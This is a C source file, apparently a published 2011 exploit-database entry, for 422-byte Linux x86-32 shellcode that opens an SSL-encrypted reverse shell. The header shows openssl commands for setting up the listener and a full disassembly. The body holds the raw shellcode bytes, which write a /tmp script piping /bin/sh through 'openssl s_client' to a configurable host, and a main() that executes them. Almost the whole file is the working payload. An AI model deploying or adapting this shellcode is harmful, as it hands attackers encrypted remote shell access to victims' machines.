/*
**
** Title:     Linux/x86-32 - ConnectBack with SSL connection - 422 bytes
** Date:      2011-06-08
** Tested on: ArchLinux i686
** Author:    Jonathan Salwan - twitter: @jonathansalwan
**
** http://shell-storm.org
**
**
** Configurations server
** ===========================================================================
** jonathan@ArchLinux [ssl] $ openssl genrsa -des3 -out server.key 1024
** jonathan@ArchLinux [ssl] $ openssl req -new -key server.key -out server.csr
** jonathan@ArchLinux [ssl] $ cp server.key server.key.org
** jonathan@ArchLinux [ssl] $ openssl rsa -in server.key.org -out server.key
** jonathan@ArchLinux [ssl] $ openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
** jonathan@ArchLinux [ssl] $ ll
** total 16
** -rw-r--r-- 1 jonathan users 757 Jun  8 09:36 server.crt
** -rw-r--r-- 1 jonathan users 603 Jun  8 09:36 server.csr
** -rw-r--r-- 1 jonathan users 887 Jun  8 09:36 server.key
** -rw-r--r-- 1 jonathan users 963 Jun  8 09:36 server.key.org
** jonathan@ArchLinux [ssl] $
**
**
** Running server
** ===========================================================================
** jonathan@ArchLinux [ssl] $ openssl s_server -key server.key -cert server.crt -accept 8080
**
**
** After the server was opened, you can send the shellcode.
** Warning! The client need tsch and openssl installed. 
**
**
** Informations shellcode
** ===========================================================================
**
** Reverse TCP with SSL (why not)
** Linux x86 32bits
** 422 bytes
**
**
** ASM sources
** =========================================================================== 
**
** 08048054 <main>:
** 8048054:     31 c0                     xor    %eax,%eax
** 8048056:     50                        push   %eax
** 8048057:     6a 65                     push   $0x65
** 8048059:     68 6b 70 69 70            push   $0x7069706b
** 804805e:     68 2f 62 61 63            push   $0x6361622f
** 8048063:     68 2f 74 6d 70            push   $0x706d742f
** 8048068:     89 e3                     mov    %esp,%ebx
** 804806a:     b0 0a                     mov    $0xa,%al
** 804806c:     cd 80                     int    $0x80
** 804806e:     85 c0                     test   %eax,%eax
** 8048070:     75 32                     jne    80480a4 <del2>
** 8048072:     31 c0                     xor    %eax,%eax
** 8048074:     31 db                     xor    %ebx,%ebx
** 8048076:     31 d2                     xor    %edx,%edx
** 8048078:     b3 01                     mov    $0x1,%bl
** 804807a:     31 c0                     xor    %eax,%eax
** 804807c:     50                        push   %eax
** 804807d:     6a 6e                     push   $0x6e
** 804807f:     66 68 64 5c               pushw  $0x5c64
** 8048083:     68 6c 65 74 65            push   $0x6574656c
** 8048088:     68 65 20 64 65            push   $0x65642065
** 804808d:     68 6b 70 69 70            push   $0x7069706b
** 8048092:     68 2f 62 61 63            push   $0x6361622f
** 8048097:     68 2f 74 6d 70            push   $0x706d742f
** 804809c:     89 e1                     mov    %esp,%ecx
** 804809e:     b2 17                     mov    $0x17,%dl
** 80480a0:     b0 04                     mov    $0x4,%al
** 80480a2:     cd 80                     int    $0x80

** 080480a4 <del2>:
** 80480a4:     31 c0                     xor    %eax,%eax
** 80480a6:     50                        push   %eax
** 80480a7:     66 68 73 6c               pushw  $0x6c73
** 80480ab:     68 2f 63 62 73            push   $0x7362632f
** 80480b0:     68 2f 74 6d 70            push   $0x706d742f
** 80480b5:     89 e3                     mov    %esp,%ebx
** 80480b7:     b0 0a                     mov    $0xa,%al
** 80480b9:     cd 80                     int    $0x80
** 80480bb:     85 c0                     test   %eax,%eax
** 80480bd:     75 2a                     jne    80480e9 <open>
** 80480bf:     31 c0                     xor    %eax,%eax
** 80480c1:     31 db                     xor    %ebx,%ebx
** 80480c3:     31 d2                     xor    %edx,%edx
** 80480c5:     50                        push   %eax
** 80480c6:     68 65 64 5c 6e            push   $0x6e5c6465
** 80480cb:     68 65 6c 65 74            push   $0x74656c65
** 80480d0:     68 73 6c 20 64            push   $0x64206c73
** 80480d5:     68 2f 63 62 73            push   $0x7362632f
** 80480da:     68 2f 74 6d 70            push   $0x706d742f
** 80480df:     89 e1                     mov    %esp,%ecx
** 80480e1:     b3 01                     mov    $0x1,%bl
** 80480e3:     b2 14                     mov    $0x14,%dl
** 80480e5:     b0 04                     mov    $0x4,%al
** 80480e7:     cd 80                     int    $0x80
**
** 080480e9 <open>:
** 80480e9:     31 c0                     xor    %eax,%eax
** 80480eb:     31 c9                     xor    %ecx,%ecx
** 80480ed:     31 d2                     xor    %edx,%edx
** 80480ef:     66 b9 41 04               mov    $0x441,%cx
** 80480f3:     66 ba a4 01               mov    $0x1a4,%dx
** 80480f7:     50                        push   %eax
** 80480f8:     66 68 73 6c               pushw  $0x6c73
** 80480fc:     68 2f 63 62 73            push   $0x7362632f
** 8048101:     68 2f 74 6d 70            push   $0x706d742f
** 8048106:     89 e3                     mov    %esp,%ebx
** 8048108:     b0 05                     mov    $0x5,%al
** 804810a:     cd 80                     int    $0x80
** 804810c:     89 c6                     mov    %eax,%esi
**
** 0804810e <wtite>:
** 804810e:     31 d2                     xor    %edx,%edx
** 8048110:     89 f3                     mov    %esi,%ebx
** 8048112:     31 c0                     xor    %eax,%eax
** 8048114:     50                        push   %eax
** 8048115:     66 68 70 65               pushw  $0x6570
** 8048119:     68 63 6b 70 69            push   $0x69706b63
** 804811e:     68 70 2f 62 61            push   $0x61622f70
** 8048123:     68 3e 2f 74 6d            push   $0x6d742f3e
** 8048128:     68 73 68 20 31            push   $0x31206873
** 804812d:     68 6e 2f 74 63            push   $0x63742f6e
** 8048132:     68 20 2f 62 69            push   $0x69622f20
** 8048137:     68 70 65 20 7c            push   $0x7c206570
** 804813c:     68 63 6b 70 69            push   $0x69706b63
** 8048141:     68 70 2f 62 61            push   $0x61622f70
** 8048146:     68 3c 2f 74 6d            push   $0x6d742f3c
**
** 804814b:     68 38 30 20 30            push   $0x30203038  "\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x3a\x38\x30\x38\x30"
** 8048150:     68 74 3a 38 30            push   $0x30383a74  localhost:8080
** 8048155:     68 6c 68 6f 73            push   $0x736f686c  If you change that, you need to change write(..., ..., size_t) (%edx) 
** 804815a:     68 6c 6f 63 61            push   $0x61636f6c
**
** 804815f:     68 65 63 74 20            push   $0x20746365
** 8048164:     68 63 6f 6e 6e            push   $0x6e6e6f63
** 8048169:     68 6e 74 20 2d            push   $0x2d20746e
** 804816e:     68 63 6c 69 65            push   $0x65696c63
** 8048173:     68 6c 20 73 5f            push   $0x5f73206c
** 8048178:     68 65 6e 73 73            push   $0x73736e65
** 804817d:     68 6e 2f 6f 70            push   $0x706f2f6e
** 8048182:     68 72 2f 62 69            push   $0x69622f72
** 8048187:     68 20 2f 75 73            push   $0x73752f20
** 804818c:     68 70 20 26 26            push   $0x26262070
** 8048191:     68 69 70 65 20            push   $0x20657069
** 8048196:     68 61 63 6b 70            push   $0x706b6361
** 804819b:     68 6d 70 2f 62            push   $0x622f706d
** 80481a0:     68 64 20 2f 74            push   $0x742f2064
** 80481a5:     68 6d 6b 6e 6f            push   $0x6f6e6b6d
** 80481aa:     89 e1                     mov    %esp,%ecx
** 80481ac:     b2 77                     mov    $0x77,%dl
** 80481ae:     31 c0                     xor    %eax,%eax
** 80481b0:     b0 04                     mov    $0x4,%al
** 80481b2:     cd 80                     int    $0x80
**
** 080481b4 <close>:
** 80481b4:     31 c0                     xor    %eax,%eax
** 80481b6:     b0 06                     mov    $0x6,%al
** 80481b8:     89 f3                     mov    %esi,%ebx
** 80481ba:     cd 80                     int    $0x80
**
** 080481bc <execve>:
** 80481bc:     31 c0                     xor    %eax,%eax
** 80481be:     50                        push   %eax
** 80481bf:     66 68 73 6c               pushw  $0x6c73
** 80481c3:     68 2f 63 62 73            push   $0x7362632f
** 80481c8:     68 2f 74 6d 70            push   $0x706d742f
** 80481cd:     89 e3                     mov    %esp,%ebx
** 80481cf:     50                        push   %eax
** 80481d0:     66 68 2d 65               pushw  $0x652d
** 80481d4:     89 e1                     mov    %esp,%ecx
** 80481d6:     50                        push   %eax
** 80481d7:     6a 68                     push   $0x68
** 80481d9:     66 68 2f 73               pushw  $0x732f
** 80481dd:     68 2f 62 69 6e            push   $0x6e69622f
** 80481e2:     89 e2                     mov    %esp,%edx
** 80481e4:     50                        push   %eax
** 80481e5:     53                        push   %ebx
** 80481e6:     51                        push   %ecx
** 80481e7:     52                        push   %edx
** 80481e8:     89 e1                     mov    %esp,%ecx
** 80481ea:     89 d3                     mov    %edx,%ebx
** 80481ec:     31 d2                     xor    %edx,%edx
** 80481ee:     b0 0b                     mov    $0xb,%al
** 80481f0:     cd 80                     int    $0x80
**
** 080481f2 <exit>:
** 80481f2:     31 c0                     xor    %eax,%eax
** 80481f4:     b0 01                     mov    $0x1,%al
** 80481f6:     31 db                     xor    %ebx,%ebx
** 80481f8:     cd 80                     int    $0x80
**
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char SC[] = "\x31\xc0\x50\x6a\x65\x68\x6b\x70\x69\x70\x68\x2f\x62\x61\x63"
            "\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x0a\xcd\x80\x85\xc0\x75\x32"
            "\x31\xc0\x31\xdb\x31\xd2\xb3\x01\x31\xc0\x50\x6a\x6e\x66\x68"
            "\x64\x5c\x68\x6c\x65\x74\x65\x68\x65\x20\x64\x65\x68\x6b\x70"
            "\x69\x70\x68\x2f\x62\x61\x63\x68\x2f\x74\x6d\x70\x89\xe1\xb2"
            "\x17\xb0\x04\xcd\x80\x31\xc0\x50\x66\x68\x73\x6c\x68\x2f\x63"
            "\x62\x73\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x0a\xcd\x80\x85\xc0"
            "\x75\x2a\x31\xc0\x31\xdb\x31\xd2\x50\x68\x65\x64\x5c\x6e\x68"
            "\x65\x6c\x65\x74\x68\x73\x6c\x20\x64\x68\x2f\x63\x62\x73\x68"
            "\x2f\x74\x6d\x70\x89\xe1\xb3\x01\xb2\x14\xb0\x04\xcd\x80\x31"
            "\xc0\x31\xc9\x31\xd2\x66\xb9\x41\x04\x66\xba\xa4\x01\x50\x66"
            "\x68\x73\x6c\x68\x2f\x63\x62\x73\x68\x2f\x74\x6d\x70\x89\xe3"
            "\xb0\x05\xcd\x80\x89\xc6\x31\xd2\x89\xf3\x31\xc0\x50\x66\x68"
            "\x70\x65\x68\x63\x6b\x70\x69\x68\x70\x2f\x62\x61\x68\x3e\x2f"
            "\x74\x6d\x68\x73\x68\x20\x31\x68\x6e\x2f\x74\x63\x68\x20\x2f"
            "\x62\x69\x68\x70\x65\x20\x7c\x68\x63\x6b\x70\x69\x68\x70\x2f"
            "\x62\x61\x68\x3c\x2f\x74\x6d"
            /* localhost:8080 */
            "\x68\x38\x30\x20\x30\x68\x74\x3a\x38\x30\x68\x6c\x68\x6f\x73"
            "\x68\x6c\x6f\x63\x61"
            /* EOF */
            "\x68\x65\x63\x74\x20\x68\x63\x6f\x6e\x6e\x68\x6e\x74\x20\x2d"
            "\x68\x63\x6c\x69\x65\x68\x6c\x20\x73\x5f\x68\x65\x6e\x73\x73"
            "\x68\x6e\x2f\x6f\x70\x68\x72\x2f\x62\x69\x68\x20\x2f\x75\x73"
            "\x68\x70\x20\x26\x26\x68\x69\x70\x65\x20\x68\x61\x63\x6b\x70"
            "\x68\x6d\x70\x2f\x62\x68\x64\x20\x2f\x74\x68\x6d\x6b\x6e\x6f"
            "\x89\xe1\xb2\x77\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x06\x89"
            "\xf3\xcd\x80\x31\xc0\x50\x66\x68\x73\x6c\x68\x2f\x63\x62\x73"
            "\x68\x2f\x74\x6d\x70\x89\xe3\x50\x66\x68\x2d\x65\x89\xe1\x50"
            "\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe2\x50\x53"
            "\x51\x52\x89\xe1\x89\xd3\x31\xd2\xb0\x0b\xcd\x80\x31\xc0\xb0"
            "\x01\x31\xdb\xcd\x80";


int main(void)
{
   fprintf(stdout,"Length: %d\n",strlen(SC));
   (*(void(*)()) SC)();
}